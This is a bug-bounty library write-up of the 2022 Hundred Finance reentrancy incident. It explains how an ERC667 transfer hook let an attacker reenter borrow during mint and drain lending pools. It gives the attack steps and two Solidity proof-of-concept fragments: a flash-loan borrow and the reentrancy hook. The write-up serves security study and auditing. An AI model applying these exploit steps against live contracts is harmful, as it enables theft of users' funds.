# Hundred Finance: ERC667 reentrancy drains lending pools

Hundred Finance's ERC667 token hook allowed reentrancy during mint, letting an attacker borrow against inflated collateral and drain funds.

- Payout: Real-world hack
- Severity: critical
- Program: Hundred Finance
- Analysis by: DeFiHackLabs
- Disclosed: 2022-03-13
- Write-up quality: 7/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2022-03/HundredFinance_exp.sol
- Library page: http://bugbountylibrary.com/r/dhl%3A20220313-hundredfinance
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity technique:chained vuln:reentrancy

**Target:** Compound-fork lending contract with ERC667 token
**Root cause:** The ERC667 token's transfer hook (onTokenTransfer) is called during mint, allowing reentrancy into borrow before the mint's state updates complete, inflating collateral.
**Steps:**
1. Flash loan USDC from Uniswap V2 pair via `pair.swap(...)`.
2. Deposit USDC into Hundred's hUSDC contract via `mint(balance)`.
3. During mint, ERC667 hook `onTokenTransfer` triggers, reentering to borrow xDAI from hXDAI.
4. Swap borrowed xDAI to USDC via Curve to repay flash loan.
5. Repay flash loan and keep remaining USDC as profit.
**How found:** Likely identified the ERC667 token standard's transfer hook as a reentrancy vector in Hundred's Compound fork, similar to known Compound issue #141.
**Exploitation:** Attacker flash-loaned USDC, minted hUSDC which triggered the ERC667 hook, reentered to borrow xDAI against the inflated hUSDC balance, swapped xDAI to USDC, repaid flash loan, and kept the difference.
**Insight:** When auditing Compound forks, check for non-standard token hooks (ERC667, ERC777) that can reenter during mint/repay, bypassing collateral checks.

## Proof of concept (copied exactly from the original report)

**Flashloan borrow via Uniswap pair swap**

```
function borrow() internal {
        IUniswapV2Factory factory = IUniswapV2Factory(router.factory());
        IUniswapV2Pair pair = IUniswapV2Pair(factory.getPair(address(wxdai), address(usdc)));
        uint256 borrowAmount = usdc.balanceOf(address(pair)) - 1;

        pair.swap(
            pair.token0() == address(wxdai) ? 0 : borrowAmount,
            pair.token0() == address(wxdai) ? borrowAmount : 0,
            address(this),
            abi.encode("0x")
        );
    }
```

**ERC667 onTokenTransfer reentrancy hook**

```
function onTokenTransfer(address _from, uint256 _value, bytes memory _data) external {
        IUniswapV2Factory factory = IUniswapV2Factory(router.factory());
        address pair = factory.getPair(address(wxdai), address(usdc));

        if (_from != pair && xdaiBorrowed == false) {
            console.log("''i'm in!''");
            borrowXdai();
        }
    }
```

